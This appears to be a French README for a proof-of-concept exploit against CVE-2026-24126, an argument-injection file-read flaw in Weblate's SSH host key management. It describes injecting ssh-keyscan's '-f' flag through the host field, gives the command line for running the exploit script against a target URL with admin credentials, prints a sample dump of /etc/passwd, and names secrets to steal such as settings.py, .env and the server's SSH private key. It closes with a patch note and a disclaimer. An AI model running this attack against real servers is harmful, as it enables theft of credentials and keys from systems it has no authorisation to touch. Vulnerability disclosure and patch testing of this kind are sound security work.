
Preuve de concept d'exploitation pour CVE-2026-24126, une lecture arbitraire de fichiers dans Weblate via l'injection d'arguments hôte SSH, permettant aux administrateurs authentifiés de lire les fichiers du serveur.
Découvert par : Alejandro Baño · Janvier 2026 Reconnu par : Notes de version Weblate 5.16
Le point de terminaison de gestion des clés hôtes SSH de Weblate transmet le paramètre host fourni par un administrateur authentifié directement à ssh-keyscan sans aucune assainissement ni validation des arguments. Étant donné que ssh-keyscan accepte un indicateur -f <fichier> pour lire les noms d'hôtes cibles depuis un fichier, un attaquant disposant d'identifiants administrateur peut injecter cet indicateur comme valeur d'hôte et forcer le serveur à ouvrir un fichier local arbitraire. La sortie d'erreur (ou stdout) résultante est renvoyée textuellement au navigateur dans un bloc de message d'erreur, divulguant le contenu du fichier.
| Champ | Valeur |
|---|---|
| Cible | Weblate (instances auto-hébergées) |
| Composant | Gestion des clés SSH — weblate/ssh/views.py · add_host_key() |
| Authentification requise | Oui — compte administrateur Weblate |
| Versions concernées | Toutes les versions ≤ 5.15.2 (testé en 5.0.2 et 5.15.2) |
| Impact | Lecture arbitraire de fichiers locaux en tant qu'utilisateur du processus serveur web (weblate, www-data, etc.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplifié
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host est ajouté sans validation
result = subprocess.run(cmdline, ...)
La valeur host provient directement du champ host du corps de la requête POST, sans liste blanche, sans suppression des tirets initiaux, et sans terminateur d'argument -- avant la valeur fournie par l'utilisateur. Cela permet à un attaquant d'injecter n'importe quel indicateur de ssh-keyscan.
ssh-keyscan -f /etc/passwd lit /etc/passwd comme une liste de noms d'hôtes, échoue à résoudre chaque ligne, et produit une sortie d'erreur pour chacune d'elles. Cette sortie d'erreur se propage via le gestionnaire CalledProcessError et est affichée dans un bloc alert-danger dans la réponse HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Indicateur | Description |
|---|---|
-r / --rhost | URL de base de l'instance Weblate |
-u / --username | Nom d'utilisateur administrateur |
-p / --password | Mot de passe administrateur |
-f / --file | Chemin du fichier à lire sur le serveur |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Connexion réussie pour l'utilisateur : admin
[*] Envoi de la charge utile à http://localhost/manage/ssh/, cela peut prendre un certain temps, veuillez patienter...
[+] Contenu du fichier extrait :
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit terminé
Tout fichier lisible par l'utilisateur du système d'exploitation exécutant Weblate (généralement l'utilisateur weblate) peut être exfiltré via une seule requête POST authentifiée. Les cibles sensibles incluent :
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaMettez à jour vers Weblate 5.16.0 ou version ultérieure. Il s'agit du correctif officiel publié par l'équipe Weblate le 18 février 2026, qui a introduit une validation appropriée des entrées sur le champ hôte SSH.
Ce dépôt est destiné uniquement à la recherche en sécurité éducative et autorisée. N'utilisez pas cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive.